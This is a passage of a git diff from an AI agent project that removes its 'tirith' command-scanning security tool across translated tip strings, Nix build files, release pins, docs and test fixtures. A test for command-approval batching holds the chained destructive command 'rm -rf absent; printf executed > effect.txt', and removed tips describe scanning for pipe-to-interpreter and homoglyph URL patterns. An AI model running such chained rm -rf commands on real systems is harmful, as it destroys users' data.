plugins do painel são servidos em /dashboard-plugins/<name>/ — coloque os arquivos em ~/.hermes/dashboard-plugins/."placeholder:p01: "Pergunte qualquer coisa ou digite / para ver comandos…"p02: "Resuma o que há nesta pasta"diff --git a/locales/ru.yaml b/locales/ru.yamlindex 68f30150c3f..9a57f0ee66a 100644--- a/locales/ru.yaml+++ b/locales/ru.yaml@@ -2427,7 +2427,6 @@ cli:run_model_to_retry: "Выполните 'hermes model', чтобы попробовать снова."provider_configured: "✓ Провайдер настроен — можно начинать общение."provider_setup_incomplete: "Настройка провайдера не завершена. Выполните 'hermes model', чтобы повторить."- tirith_unavailable: "⚠ Сканер безопасности tirith включён, но недоступен — команды будут проверяться только по шаблонам"unknown_toolsets: "Предупреждение: неизвестные наборы инструментов: {names}"stdin_unusable: "\nОшибка: stdin недоступен ({error}).\nТакое бывает с некоторыми установками Python (например, cPython под управлением uv на macOS),\nгде kqueue не может зарегистрировать fd 0.\nПопробуйте переустановить Python через pyenv или Homebrew, затем снова выполните: hermes setup"warning: "Предупреждение: {warning}"@@ -3645,7 +3644,7 @@ tips:t167: "Одобрение опасных команд имеет 4 уровня: однократно, на сеанс, всегда (постоянный allowlist), отклонить."t168: "Умный режим одобрения использует LLM, чтобы автоматически одобрять безопасные команды и помечать опасные."t169: "Защита от SSRF блокирует приватные сети, loopback, link-local и адреса облачных метаданных."- t170: "Предварительное сканирование Tirith выявляет подмену URL омоглифами и конструкции вида «pipe в интерпретатор»."+ t170: "ID сеансов начинаются с метки времени (20250305_091523_abcd), поэтому они естественно сортируются в ls и jq."t171: "Подпроцессы MCP получают отфильтрованное окружение — передаются только безопасные системные переменные."t172: "Файлы контекста (.hermes.md, AGENTS.md) перед загрузкой проверяются на промпт-инъекции."t173: "command_allowlist в config.yaml навсегда одобряет указанные шаблоны shell-команд."@@ -3850,12 +3849,9 @@ tips:t372: "image_gen.model в config.yaml выбирает модель FAL: flux-2/klein, gpt-image-2, nano-banana-pro и другие."t373: "image_gen.provider направляет генерацию изображений через плагин (OpenAI Images, Codex, FAL) вместо варианта по умолчанию."t374: "AUXILIARY_VISION_BASE_URL + AUXILIARY_VISION_API_KEY направляют анализ изображений на любой OpenAI-совместимый эндпоинт."- t375: "security.tirith_fail_open: false заставляет Hermes блокировать команды, когда сам сканер tirith выдаёт ошибку."- t376: "Переменная окружения TIRITH_FAIL_OPEN переопределяет настройку tirith_fail_open — быстрый переключатель без правки config.yaml."+ t375: "API_SERVER_MODEL_NAME задаёт имя модели в /v1/models — незаменимо для многопрофильных установок Open WebUI."+ t376: "Плагины панели управления раздаются из /dashboard-plugins/<name>/ — положите файлы в ~/.hermes/dashboard-plugins/."t377: "Чаты с --source tool по умолчанию исключены из hermes sessions list — укажите --source явно, чтобы увидеть их."- t378: "ID сеансов начинаются с метки времени (20250305_091523_abcd), поэтому они естественно сортируются в ls и jq."- t379: "API_SERVER_MODEL_NAME задаёт имя модели в /v1/models — незаменимо для многопрофильных установок Open WebUI."- t380: "Плагины панели управления раздаются из /dashboard-plugins/<name>/ — положите файлы в ~/.hermes/dashboard-plugins/."placeholder:p01: "Спросите о чём угодно или введите / для команд…"p02: "Кратко опиши, что в этой папке"diff --git a/locales/tr.yaml b/locales/tr.yamlindex f2833ee574f..7c27a63b4e5 100644--- a/locales/tr.yaml+++ b/locales/tr.yaml@@ -2427,7 +2427,6 @@ cli:run_model_to_retry: "Yeniden denemek için 'hermes model' komutunu çalıştırın."provider_configured: "✓ Sağlayıcı yapılandırıldı — sohbete hazırsınız."provider_setup_incomplete: "Sağlayıcı kurulumu tamamlanmadı. Yeniden denemek için 'hermes model' komutunu çalıştırın."- tirith_unavailable: "⚠ tirith güvenlik tarayıcısı etkin ancak kullanılamıyor — komut taraması yalnızca desen eşleştirme kullanacak"unknown_toolsets: "Uyarı: Bilinmeyen araç setleri: {names}"stdin_unusable: "\nHata: stdin kullanılamıyor ({error}).\nBu durum, kqueue'nun fd 0'ı kaydedemediği bazı Python kurulumlarında\n(örn. macOS'ta uv ile yönetilen cPython) görülebilir.\nPython'ı pyenv veya Homebrew ile yeniden kurup şunu tekrar çalıştırın: hermes setup"warning: "Uyarı: {warning}"@@ -3645,7 +3644,7 @@ tips:t167: "Tehlikeli komut onayının 4 kademesi vardır: bir kez, oturum, her zaman (kalıcı izin listesi), reddet."t168: "Akıllı onay modu, güvenli komutları otomatik onaylamak ve tehlikeli olanları işaretlemek için bir LLM kullanır."t169: "SSRF koruması özel ağları, loopback, link-local ve bulut meta veri adreslerini engeller."- t170: "Tirith ön çalıştırma taraması, homograf URL sahteciliğini ve yorumlayıcıya boru (pipe) desenlerini tespit eder."+ t170: "Oturum kimlikleri zaman damgasıyla başlar (20250305_091523_abcd); böylece ls ve jq içinde sıralama doğal olarak çalışır."t171: "MCP alt süreçleri filtrelenmiş bir ortam alır — yalnızca güvenli sistem değişkenleri aktarılır."t172: "Bağlam dosyaları (.hermes.md, AGENTS.md) yüklenmeden önce istem enjeksiyonuna karşı güvenlik taramasından geçer."t173: "config.yaml içindeki command_allowlist, belirli kabuk komutu desenlerini kalıcı olarak onaylar."@@ -3850,12 +3849,9 @@ tips:t372: "config.yaml içindeki image_gen.model, FAL modelini seçer: flux-2/klein, gpt-image-2, nano-banana-pro ve daha fazlası."t373: "image_gen.provider, görüntü üretimini varsayılan yerine bir eklenti (OpenAI Images, Codex, FAL) üzerinden yönlendirir."t374: "AUXILIARY_VISION_BASE_URL + AUXILIARY_VISION_API_KEY, görüntü analizini OpenAI uyumlu herhangi bir uç noktaya yönlendirir."- t375: "security.tirith_fail_open: false, tirith tarayıcısının kendisi hata verdiğinde Hermes'in komutları engellemesini sağlar."- t376: "TIRITH_FAIL_OPEN ortam değişkeni, tirith_fail_open yapılandırmasını geçersiz kılar — config.yaml'ı düzenlemeden hızlı bir anahtar."+ t375: "API_SERVER_MODEL_NAME, /v1/models üzerindeki model adını özelleştirir — çok profilli Open WebUI kurulumları için şarttır."+ t376: "Panel eklentileri /dashboard-plugins/<name>/ yolundan sunulur — dosyaları ~/.hermes/dashboard-plugins/ içine koyun."t377: "--source tool sohbetleri varsayılan olarak hermes sessions list çıktısında yer almaz — görmek için --source değerini açıkça belirtin."- t378: "Oturum kimlikleri zaman damgasıyla başlar (20250305_091523_abcd); böylece ls ve jq içinde sıralama doğal olarak çalışır."- t379: "API_SERVER_MODEL_NAME, /v1/models üzerindeki model adını özelleştirir — çok profilli Open WebUI kurulumları için şarttır."- t380: "Panel eklentileri /dashboard-plugins/<name>/ yolundan sunulur — dosyaları ~/.hermes/dashboard-plugins/ içine koyun."placeholder:p01: "Bir şey sorun veya komutlar için / yazın…"p02: "Bu klasördekileri özetle"diff --git a/locales/uk.yaml b/locales/uk.yamlindex 978b0bd8378..b48871e0355 100644--- a/locales/uk.yaml+++ b/locales/uk.yaml@@ -2427,7 +2427,6 @@ cli:run_model_to_retry: "Виконайте 'hermes model', щоб спробувати ще раз."provider_configured: "✓ Провайдера налаштовано — можна починати спілкування."provider_setup_incomplete: "Налаштування провайдера не завершено. Виконайте 'hermes model', щоб повторити."- tirith_unavailable: "⚠ Сканер безпеки tirith увімкнено, але він недоступний — сканування команд використовуватиме лише зіставлення за шаблонами"unknown_toolsets: "Попередження: невідомі набори інструментів: {names}"stdin_unusable: "\nПомилка: stdin непридатний для використання ({error}).\nТаке трапляється з деякими інсталяціями Python (напр. cPython від uv на macOS),\nде kqueue не може зареєструвати fd 0.\nСпробуйте перевстановити Python через pyenv або Homebrew, а потім виконайте знову: hermes setup"warning: "Попередження: {warning}"@@ -3645,7 +3644,7 @@ tips:t167: "Схвалення небезпечних команд має 4 рівні: один раз, сеанс, завжди (постійний список дозволених), відхилити."t168: "Розумний режим схвалення використовує LLM, щоб автоматично схвалювати безпечні команди й позначати небезпечні."t169: "Захист від SSRF блокує приватні мережі, loopback, link-local та адреси метаданих хмарних провайдерів."- t170: "Передвиконавче сканування Tirith виявляє підміну URL через омогліфи та шаблони pipe-to-interpreter."+ t170: "ID сеансів починаються з мітки часу (20250305_091523_abcd), тож у ls і jq вони природно сортуються."t171: "Підпроцеси MCP отримують відфільтроване середовище — передаються лише безпечні системні змінні."t172: "Контекстні файли (.hermes.md, AGENTS.md) перед завантаженням скануються на ін'єкції промптів."t173: "command_allowlist у config.yaml назавжди схвалює певні шаблони shell-команд."@@ -3850,12 +3849,9 @@ tips:t372: "image_gen.model у config.yaml обирає модель FAL: flux-2/klein, gpt-image-2, nano-banana-pro та інші."t373: "image_gen.provider спрямовує генерацію зображень через плагін (OpenAI Images, Codex, FAL) замість типового провайдера."t374: "AUXILIARY_VISION_BASE_URL + AUXILIARY_VISION_API_KEY спрямовують аналіз зображень на будь-який OpenAI-сумісний ендпоінт."- t375: "security.tirith_fail_open: false змушує Hermes блокувати команди, коли сам сканер tirith завершується з помилкою."- t376: "Змінна середовища TIRITH_FAIL_OPEN перевизначає налаштування tirith_fail_open — швидкий перемикач без редагування config.yaml."+ t375: "API_SERVER_MODEL_NAME задає назву моделі в /v1/models — необхідно для багатопрофільних конфігурацій Open WebUI."+ t376: "Плагіни панелі керування роздаються з /dashboard-plugins/<name>/ — просто покладіть файли в ~/.hermes/dashboard-plugins/."t377: "Чати з --source tool типово не показуються в hermes sessions list — вкажіть --source явно, щоб їх побачити."- t378: "ID сеансів починаються з мітки часу (20250305_091523_abcd), тож у ls і jq вони природно сортуються."- t379: "API_SERVER_MODEL_NAME задає назву моделі в /v1/models — необхідно для багатопрофільних конфігурацій Open WebUI."- t380: "Плагіни панелі керування роздаються з /dashboard-plugins/<name>/ — просто покладіть файли в ~/.hermes/dashboard-plugins/."placeholder:p01: "Запитайте будь-що або введіть / для команд…"p02: "Підсумуй, що є в цій теці"diff --git a/locales/zh-hant.yaml b/locales/zh-hant.yamlindex b9fbd75e94c..d55aa342c27 100644--- a/locales/zh-hant.yaml+++ b/locales/zh-hant.yaml@@ -2427,7 +2427,6 @@ cli:run_model_to_retry: "執行 'hermes model' 再試一次。"provider_configured: "✓ 提供方已設定完成 — 可以開始聊天了。"provider_setup_incomplete: "提供方設定未完成。執行 'hermes model' 重試。"- tirith_unavailable: "⚠ 已啟用 tirith 安全掃描器但無法使用 — 指令掃描將僅使用模式比對"unknown_toolsets: "警告:未知的工具集:{names}"stdin_unusable: "\n錯誤:stdin 無法使用({error})。\n某些 Python 安裝(例如 macOS 上由 uv 管理的 cPython)可能發生此問題,\n因為 kqueue 無法註冊 fd 0。\n請嘗試透過 pyenv 或 Homebrew 重新安裝 Python,然後重新執行:hermes setup"warning: "警告:{warning}"@@ -3645,7 +3644,7 @@ tips:t167: "危險指令的批准有 4 個層級:僅此一次、本工作階段、永遠(永久允許清單)、拒絕。"t168: "智慧批准模式會用 LLM 自動批准安全指令,並標記危險指令。"t169: "SSRF 防護會封鎖私有網路、loopback、link-local 與雲端 metadata 位址。"- t170: "Tirith 執行前掃描可偵測同形字 URL 偽裝與 pipe 到直譯器的模式。"+ t170: "工作階段 ID 以時間戳記為前綴(20250305_091523_abcd),在 ls 與 jq 中排序自然正確。"t171: "MCP 子程序只會收到經過濾的環境變數 — 僅安全的系統變數能通過。"t172: "上下文檔案(.hermes.md、AGENTS.md)在載入前會先掃描是否含有提示注入。"t173: "config.yaml 中的 command_allowlist 可永久批准特定的 shell 指令模式。"@@ -3850,12 +3849,9 @@ tips:t372: "config.yaml 中的 image_gen.model 可選擇 FAL 模型:flux-2/klein、gpt-image-2、nano-banana-pro 等。"t373: "image_gen.provider 可將圖片生成改由外掛(OpenAI Images、Codex、FAL)處理,取代預設方式。"t374: "AUXILIARY_VISION_BASE_URL + AUXILIARY_VISION_API_KEY 可將視覺分析指向任何 OpenAI 相容端點。"- t375: "security.tirith_fail_open: false 會讓 Hermes 在 tirith 掃描器本身出錯時封鎖指令。"- t376: "TIRITH_FAIL_OPEN 環境變數會覆寫 tirith_fail_open 設定 — 不必編輯 config.yaml 即可快速切換。"+ t375: "API_SERVER_MODEL_NAME 可自訂 /v1/models 上的模型名稱 — 多設定檔的 Open WebUI 環境必備。"+ t376: "儀表板外掛由 /dashboard-plugins/<name>/ 提供 — 把檔案放進 ~/.hermes/dashboard-plugins/ 即可。"t377: "--source tool 的聊天預設不會出現在 hermes sessions list — 明確指定 --source 才能看到。"- t378: "工作階段 ID 以時間戳記為前綴(20250305_091523_abcd),在 ls 與 jq 中排序自然正確。"- t379: "API_SERVER_MODEL_NAME 可自訂 /v1/models 上的模型名稱 — 多設定檔的 Open WebUI 環境必備。"- t380: "儀表板外掛由 /dashboard-plugins/<name>/ 提供 — 把檔案放進 ~/.hermes/dashboard-plugins/ 即可。"placeholder:p01: "隨便問點什麼,或輸入 / 查看指令…"p02: "摘要這個資料夾裡的內容"diff --git a/locales/zh.yaml b/locales/zh.yamlindex f9d044363d2..f549ba16e11 100644--- a/locales/zh.yaml+++ b/locales/zh.yaml@@ -2427,7 +2427,6 @@ cli:run_model_to_retry: "运行 'hermes model' 重试。"provider_configured: "✓ 提供方已配置——可以开始聊天了。"provider_setup_incomplete: "提供方设置未完成。运行 'hermes model' 重试。"- tirith_unavailable: "⚠ 已启用 tirith 安全扫描器但不可用——命令扫描将仅使用模式匹配"unknown_toolsets: "警告:未知的工具集:{names}"stdin_unusable: "\n错误:stdin 不可用({error})。\n某些 Python 安装(例如 macOS 上由 uv 管理的 cPython)可能出现此问题,\n原因是 kqueue 无法注册 fd 0。\n请尝试通过 pyenv 或 Homebrew 重新安装 Python,然后重新运行:hermes setup"warning: "警告:{warning}"@@ -3645,7 +3644,7 @@ tips:t167: "危险命令批准有 4 个层级:once、session、always(永久允许列表)、deny。"t168: "智能批准模式使用 LLM 自动批准安全命令,并标记危险命令。"t169: "SSRF 防护会阻止访问私有网络、回环地址、链路本地地址和云元数据地址。"- t170: "Tirith 执行前扫描可检测同形异义 URL 欺骗以及管道传给解释器的模式。"+ t170: "会话 ID 以时间戳为前缀(20250305_091523_abcd),在 ls 和 jq 中排序自然有序。"t171: "MCP 子进程收到的是经过过滤的环境——只有安全的系统变量会被传入。"t172: "上下文文件(.hermes.md、AGENTS.md)在加载前会进行提示词注入安全扫描。"t173: "config.yaml 中的 command_allowlist 可永久批准特定的 shell 命令模式。"@@ -3850,12 +3849,9 @@ tips:t372: "config.yaml 中的 image_gen.model 选择 FAL 模型:flux-2/klein、gpt-image-2、nano-banana-pro 等。"t373: "image_gen.provider 把图像生成路由到插件(OpenAI Images、Codex、FAL),而不使用默认方式。"t374: "AUXILIARY_VISION_BASE_URL + AUXILIARY_VISION_API_KEY 可把视觉分析指向任意 OpenAI 兼容端点。"- t375: "security.tirith_fail_open: false 会让 Hermes 在 tirith 扫描器自身出错时拦截命令。"- t376: "TIRITH_FAIL_OPEN 环境变量可覆盖 tirith_fail_open 配置——无需编辑 config.yaml 的快速开关。"+ t375: "API_SERVER_MODEL_NAME 自定义 /v1/models 返回的模型名——多配置档的 Open WebUI 部署必不可少。"+ t376: "控制台插件从 /dashboard-plugins/<name>/ 提供服务——把文件放进 ~/.hermes/dashboard-plugins/ 即可。"t377: "--source tool 的聊天默认不出现在 hermes sessions list 中——显式指定 --source 才能看到。"- t378: "会话 ID 以时间戳为前缀(20250305_091523_abcd),在 ls 和 jq 中排序自然有序。"- t379: "API_SERVER_MODEL_NAME 自定义 /v1/models 返回的模型名——多配置档的 Open WebUI 部署必不可少。"- t380: "控制台插件从 /dashboard-plugins/<name>/ 提供服务——把文件放进 ~/.hermes/dashboard-plugins/ 即可。"placeholder:p01: "随便问点什么,或输入 / 查看命令…"p02: "总结这个文件夹里的内容"diff --git a/nix/checks.nix b/nix/checks.nixindex b95012c8fec..7c1c4bc6239 100644--- a/nix/checks.nix+++ b/nix/checks.nix@@ -155,12 +155,11 @@ json.dump(sorted(leaf_paths(DEFAULT_CONFIG)), sys.stdout, indent=2)'');- # pm/lock.json pins provenance sidecars (checksums.txt, .sig/.pem/.asc)+ # pm/lock.json pins provenance sidecars (checksums.txt, .sig/.asc)# next to these archives. `nix flake check` otherwise only evaluates# the pm derivations, so a sidecar leaking into srcs ("do not know- # how to unpack") stayed green; build the two sidecar-bearing pins.+ # how to unpack") stayed green; build the sidecar-bearing pin.pm-packages-unpack = pkgs.runCommand "hermes-pm-packages-unpack" { } ''- test -x ${self'.packages.pm-tirith}/tirithtest -x ${self'.packages.pm-iron-proxy}/iron-proxymkdir -p $outecho "ok" > $out/resultdiff --git a/nix/hermes-agent.nix b/nix/hermes-agent.nixindex 16bba5e7f53..06e20567a69 100644--- a/nix/hermes-agent.nix+++ b/nix/hermes-agent.nix@@ -15,7 +15,6 @@git,openssh,ffmpeg,- tirith,# linux-only depswl-clipboard,@@ -149,7 +148,6 @@ letgitopensshffmpeg- tirith]++ lib.optionals stdenv.isLinux [wl-clipboarddiff --git a/pm/lock.json b/pm/lock.jsonindex 1ef3cbea84d..baa77b9674f 100644--- a/pm/lock.json+++ b/pm/lock.json@@ -608,101 +608,6 @@},"version": "sha256:c14ffb703abf44f2d3bf7fdffdcc50df7d1454d09c705be190e0342a0b47f303"},- "tirith": {- "artifacts": {- "darwin-arm64": [- {- "sha256": "551f9a6ebf58344e7d0aa06bcc78d7a4f2f7b44b8011be563e0a91976cc9c4df",- "url": "https://github.com/sheeki03/tirith/releases/download/v0.4.2/tirith-aarch64-apple-darwin.tar.gz"- },- {- "sha256": "bcbb3eeda0f9971db5d60d2eb512970c14601432092f596d7059e0141e272585",- "url": "https://github.com/sheeki03/tirith/releases/download/v0.4.2/checksums.txt"- },- {- "sha256": "8d069fa95606f59919a897ff0914b06600f3cede4a8e83a0c4b339d9188c42b0",- "url": "https://github.com/sheeki03/tirith/releases/download/v0.4.2/checksums.txt.sig"- },- {- "sha256": "1f39241c7a334e465f78794533675e94e424ed38e9aa1534b5d7c893bd4fb71c",- "url": "https://github.com/sheeki03/tirith/releases/download/v0.4.2/checksums.txt.pem"- }- ],- "darwin-x64": [- {- "sha256": "dda8a14df00a49c4b0f607c15a82259f96c94da91b09718a7ebbc34a831d6f54",- "url": "https://github.com/sheeki03/tirith/releases/download/v0.4.2/tirith-x86_64-apple-darwin.tar.gz"- },- {- "sha256": "bcbb3eeda0f9971db5d60d2eb512970c14601432092f596d7059e0141e272585",- "url": "https://github.com/sheeki03/tirith/releases/download/v0.4.2/checksums.txt"- },- {- "sha256": "8d069fa95606f59919a897ff0914b06600f3cede4a8e83a0c4b339d9188c42b0",- "url": "https://github.com/sheeki03/tirith/releases/download/v0.4.2/checksums.txt.sig"- },- {- "sha256": "1f39241c7a334e465f78794533675e94e424ed38e9aa1534b5d7c893bd4fb71c",- "url": "https://github.com/sheeki03/tirith/releases/download/v0.4.2/checksums.txt.pem"- }- ],- "linux-arm64": [- {- "sha256": "c550b1bfb0c8c872ab3421cd6ef756f260f7cf4981a18cedd49f141fa2d77569",- "url": "https://github.com/sheeki03/tirith/releases/download/v0.4.2/tirith-aarch64-unknown-linux-gnu.tar.gz"- },- {- "sha256": "bcbb3eeda0f9971db5d60d2eb512970c14601432092f596d7059e0141e272585",- "url": "https://github.com/sheeki03/tirith/releases/download/v0.4.2/checksums.txt"- },- {- "sha256": "8d069fa95606f59919a897ff0914b06600f3cede4a8e83a0c4b339d9188c42b0",- "url": "https://github.com/sheeki03/tirith/releases/download/v0.4.2/checksums.txt.sig"- },- {- "sha256": "1f39241c7a334e465f78794533675e94e424ed38e9aa1534b5d7c893bd4fb71c",- "url": "https://github.com/sheeki03/tirith/releases/download/v0.4.2/checksums.txt.pem"- }- ],- "linux-arm64-musl": [- {- "sha256": "9c86e81537dc7b7fe6655ea472728b5f7a0dbe93ebb68b95ca7601fb1aba0508",- "url": "https://github.com/sheeki03/tirith/releases/download/v0.4.2/tirith-aarch64-unknown-linux-musl.tar.gz"- },- {- "sha256": "bcbb3eeda0f9971db5d60d2eb512970c14601432092f596d7059e0141e272585",- "url": "https://github.com/sheeki03/tirith/releases/download/v0.4.2/checksums.txt"- },- {- "sha256": "8d069fa95606f59919a897ff0914b06600f3cede4a8e83a0c4b339d9188c42b0",- "url": "https://github.com/sheeki03/tirith/releases/download/v0.4.2/checksums.txt.sig"- },- {- "sha256": "1f39241c7a334e465f78794533675e94e424ed38e9aa1534b5d7c893bd4fb71c",- "url": "https://github.com/sheeki03/tirith/releases/download/v0.4.2/checksums.txt.pem"- }- ],- "linux-x64": [- {- "sha256": "efa6bf414a83dba385d4f13137e8677f850ced9102fe74ebb14c72f31df0dc77",- "url": "https://github.com/sheeki03/tirith/releases/download/v0.4.2/tirith-x86_64-unknown-linux-gnu.tar.gz"- },- {- "sha256": "bcbb3eeda0f9971db5d60d2eb512970c14601432092f596d7059e0141e272585",- "url": "https://github.com/sheeki03/tirith/releases/download/v0.4.2/checksums.txt"- },- {- "sha256": "8d069fa95606f59919a897ff0914b06600f3cede4a8e83a0c4b339d9188c42b0",- "url": "https://github.com/sheeki03/tirith/releases/download/v0.4.2/checksums.txt.sig"- },- {- "sha256": "1f39241c7a334e465f78794533675e94e424ed38e9aa1534b5d7c893bd4fb71c",- "url": "https://github.com/sheeki03/tirith/releases/download/v0.4.2/checksums.txt.pem"- }- ]- },- "version": "0.4.2"- },"uv": {"artifacts": {"darwin-arm64": {diff --git a/pm/security_packages.py b/pm/security_packages.pyindex 6ac09de5edc..871e5c0b2de 100644--- a/pm/security_packages.py+++ b/pm/security_packages.py@@ -82,29 +82,6 @@ class _SignedBinary(BinaryPackage):raise NotImplementedError-@register-class Tirith(_SignedBinary):- name = "tirith"- # v0.4.2 publishes aarch64 musl but no x86_64 musl archive.- gaps = {**_SignedBinary.gaps, "linux-x64-musl": "upstream publishes no x86_64 musl binary"}- binary_rel = {"posix": "tirith"}-- def fetch_url(self, version: str, target: str) -> str:- return f"https://github.com/sheeki03/tirith/releases/download/v{version}/tirith-{_RUST_TRIPLE[target]}.tar.gz"-- def fetch_urls(self, version: str, target: str) -> list[str]:- archive = self.fetch_url(version, target)- base = archive.rsplit("/", 1)[0]- return [archive, *[f"{base}/{name}" for name in ("checksums.txt", "checksums.txt.sig", "checksums.txt.pem")]]-- def verify_provenance(self, directory: Path) -> None:- from tools.tirith_security import verify_release_provenance-- _, reason = verify_release_provenance(directory, logging.getLogger(__name__).warning)- if reason:- raise InstallError(self.name, reason)--@registerclass IronProxy(_SignedBinary):name = "iron-proxy"diff --git a/scripts/smoke_nemo_relay_shared_metrics.py b/scripts/smoke_nemo_relay_shared_metrics.pyindex 21eb631bd4d..978a397ef24 100644--- a/scripts/smoke_nemo_relay_shared_metrics.py+++ b/scripts/smoke_nemo_relay_shared_metrics.py@@ -264,8 +264,6 @@ def _write_config(home: Path, port: int) -> None:base_url: http://127.0.0.1:{port}/v1api_mode: chat_completionsapi_key: no-key-required-security:- tirith_enabled: falseauxiliary:title_generation:enabled: falsediff --git a/skills/autonomous-ai-agents/hermes-agent/references/configuration.md b/skills/autonomous-ai-agents/hermes-agent/references/configuration.mdindex e2a831a66e7..8c69af4d875 100644--- a/skills/autonomous-ai-agents/hermes-agent/references/configuration.md+++ b/skills/autonomous-ai-agents/hermes-agent/references/configuration.md@@ -16,7 +16,7 @@ Full reference: https://hermes-agent.nousresearch.com/docs/user-guide/configurat| `stt` | `enabled`, `provider` (local/groq/openai/mistral/elevenlabs/deepinfra) || `tts` | `provider` (edge/elevenlabs/openai/minimax/mistral/neutts/gemini/piper/kittentts/deepinfra/xai) || `memory` | `memory_enabled`, `user_profile_enabled`, `provider`, `write_approval` |-| `security` | `redact_secrets`, `tirith_enabled`, `website_blocklist` |+| `security` | `redact_secrets`, `website_blocklist` || `delegation` | `model`, `provider`, `max_concurrent_children`, `max_iterations` (50), `max_spawn_depth` || `checkpoints` | `enabled`, `max_snapshots` (50) || `curator` | `enabled`, `consolidate` (false, opt-in aux-model consolidation), `interval_hours`, `stale_after_days` |diff --git a/tests/agent/test_terminal_approval_batch.py b/tests/agent/test_terminal_approval_batch.pyindex 98bbacb067f..088c857a5be 100644--- a/tests/agent/test_terminal_approval_batch.py+++ b/tests/agent/test_terminal_approval_batch.py@@ -47,7 +47,6 @@ def test_desktop_publishes_final_commands_before_wait_and_runs_in_order(tmp_pathmonkeypatch.setenv("TERMINAL_ENV", "local")monkeypatch.setenv("TERMINAL_CWD", str(tmp_path))monkeypatch.setattr("tools.approval_context._get_approval_mode", lambda: "manual")- monkeypatch.setattr("tools.approval._tirith_scan", lambda command: {"action": "allow"})monkeypatch.setattr("agent.title_generator.maybe_auto_title", lambda *a, **kw: None)nested = tmp_path / "nested"nested.mkdir()@@ -153,7 +152,6 @@ def test_cancelled_preparation_drains_requests_without_reusing_once(tmp_path, momonkeypatch.setenv("HERMES_EXEC_ASK", "1")monkeypatch.setattr("tools.approval_context._get_approval_mode", lambda: "manual")- monkeypatch.setattr("tools.approval._tirith_scan", lambda command: {"action": "allow"})monkeypatch.setattr("agent.title_generator.maybe_auto_title", lambda *a, **kw: None)key = "cancelled-terminal-batch"command = "rm -rf absent; printf executed > effect.txt"@@ -247,7 +245,6 @@ def test_failed_command_re_gates_later_prepared_approvals(tmp_path, monkeypatch)monkeypatch.setenv("TERMINAL_ENV", "local")monkeypatch.setenv("TERMINAL_CWD", str(tmp_path))monkeypatch.setattr("tools.approval_context._get_approval_mode", lambda: "manual")- monkeypatch.setattr("tools.approval._tirith_scan", lambda command: {"action": "allow"})monkeypatch.setattr("agent.title_generator.maybe_auto_title", lambda *a, **kw: None)key = "regate-terminal-batch"# First command fails (exit 1); second would succeed if allowed to run.@@ -332,7 +329,6 @@ def test_switching_yolo_off_mid_batch_re_gates_later_commands(tmp_path, monkeypamonkeypatch.setenv("HERMES_EXEC_ASK", "1")monkeypatch.setattr("tools.approval_context._get_approval_mode", lambda: "manual")- monkeypatch.setattr("tools.approval._tirith_scan", lambda command: {"action": "allow"})monkeypatch.setattr("agent.title_generator.maybe_auto_title", lambda *a, **kw: None)key = "yolo-off-terminal-batch"agent = _agent()diff --git a/tests/conftest.py b/tests/conftest.pyindex ccc7959a53f..afbbeb2adc7 100644--- a/tests/conftest.py+++ b/tests/conftest.py@@ -381,10 +381,6 @@ def _hermetic_environment(tmp_path, tmp_path_factory, monkeypatch):monkeypatch.setenv("AWS_EC2_METADATA_DISABLED", "true")monkeypatch.setenv("AWS_METADATA_SERVICE_TIMEOUT", "1")monkeypatch.setenv("AWS_METADATA_SERVICE_NUM_ATTEMPTS", "1")- # Tirith auto-installs from GitHub when enabled and missing. Unit tests- # should never perform that implicit network/bootstrap path; Tirith-specific- # tests opt back in by patching the security config directly.- monkeypatch.setenv("TIRITH_ENABLED", "false")# On-demand extras (pm.sync_venv) install mid-test-run by design —# _allow_lazy_installs() fails open for users. Unit tests must never reach# pip/the network: with the SDK absent, any agent init whose tool checksdiff --git a/tests/e2e/core/delivery/_fake_platform.py b/tests/e2e/core/delivery/_fake_platform.pyindex 1576d5fb534..b13da9ac8a7 100644--- a/tests/e2e/core/delivery/_fake_platform.py+++ b/tests/e2e/core/delivery/_fake_platform.py@@ -523,7 +523,7 @@ class GatewayProcess:"HERMES_STATE_DB_GUARD_BYPASS": "1","HERMES_GATEWAY_LOCK_DIR": str(self.root / "gateway-locks"),"TZ": "UTC", "PYTHONHASHSEED": "0", "PYTHONUNBUFFERED": "1", "C12_PARENT_PID": str(os.getpid()),- "HERMES_DISABLE_LAZY_INSTALLS": "1", "TIRITH_ENABLED": "false",+ "HERMES_DISABLE_LAZY_INSTALLS": "1","AWS_EC2_METADATA_DISABLED": "true", "HERMES_HONCHO_HOST": "hermes","PYTHONPATH": f"{REPO_ROOT}{os.pathsep}{os.environ.get('PYTHONPATH', '')}".rstrip(os.pathsep),})diff --git a/tests/e2e/core/platforms/_helpers.py b/tests/e2e/core/platforms/_helpers.pyindex 56134deaa23..1e930546257 100644--- a/tests/e2e/core/platforms/_helpers.py+++ b/tests/e2e/core/platforms/_helpers.py@@ -57,7 +57,7 @@ def hermetic_env(home: Path, extra: Optional[Dict[str, str]] = None) -> Dict[strPYTHONPATH=os.pathsep.join(p for p in (shim, str(REPO_ROOT)) if p),NO_COLOR="1", TERM="dumb", NO_PROXY="127.0.0.1,localhost", no_proxy="127.0.0.1,localhost",HERMES_STATE_DB_GUARD_BYPASS="1", HERMES_DISABLE_LAZY_INSTALLS="1", TZ="UTC", PYTHONUNBUFFERED="1",- TIRITH_ENABLED="false", AWS_EC2_METADATA_DISABLED="true",+ AWS_EC2_METADATA_DISABLED="true",)env.update(extra or {})return envdiff --git a/tests/e2e/core/upgrade/_helpers.py b/tests/e2e/core/upgrade/_helpers.pyindex 42b77848545..e017334dfaf 100644--- a/tests/e2e/core/upgrade/_helpers.py+++ b/tests/e2e/core/upgrade/_helpers.py@@ -113,6 +113,7 @@ def isolated_env(PYTHONUNBUFFERED="1",PYTHONHASHSEED="0",HERMES_DISABLE_LAZY_INSTALLS="1",+ # The pre-upgrade release under test still bundles tirith; keep its scanner off.TIRITH_ENABLED="false",GIT_TERMINAL_PROMPT="0",GIT_CONFIG_NOSYSTEM="1",diff --git a/tests/fixtures/resolution_allowlist.json b/tests/fixtures/resolution_allowlist.jsonindex 7039ea0b7eb..8cd2ba06583 100644--- a/tests/fixtures/resolution_allowlist.json+++ b/tests/fixtures/resolution_allowlist.json@@ -592,21 +592,6 @@"symbol": "<module>","kind": "bare_which"},- {- "path": "tools/tirith_security.py",- "symbol": "_local_tirith",- "kind": "bare_which"- },- {- "path": "tools/tirith_security.py",- "symbol": "_verify_cosign",- "kind": "bare_which"- },- {- "path": "tools/tirith_security.py",- "symbol": "verify_release_provenance",- "kind": "bare_which"- },{"path": "tools/transcription_audio.py","symbol": "_convert_caf_to_wav",diff --git 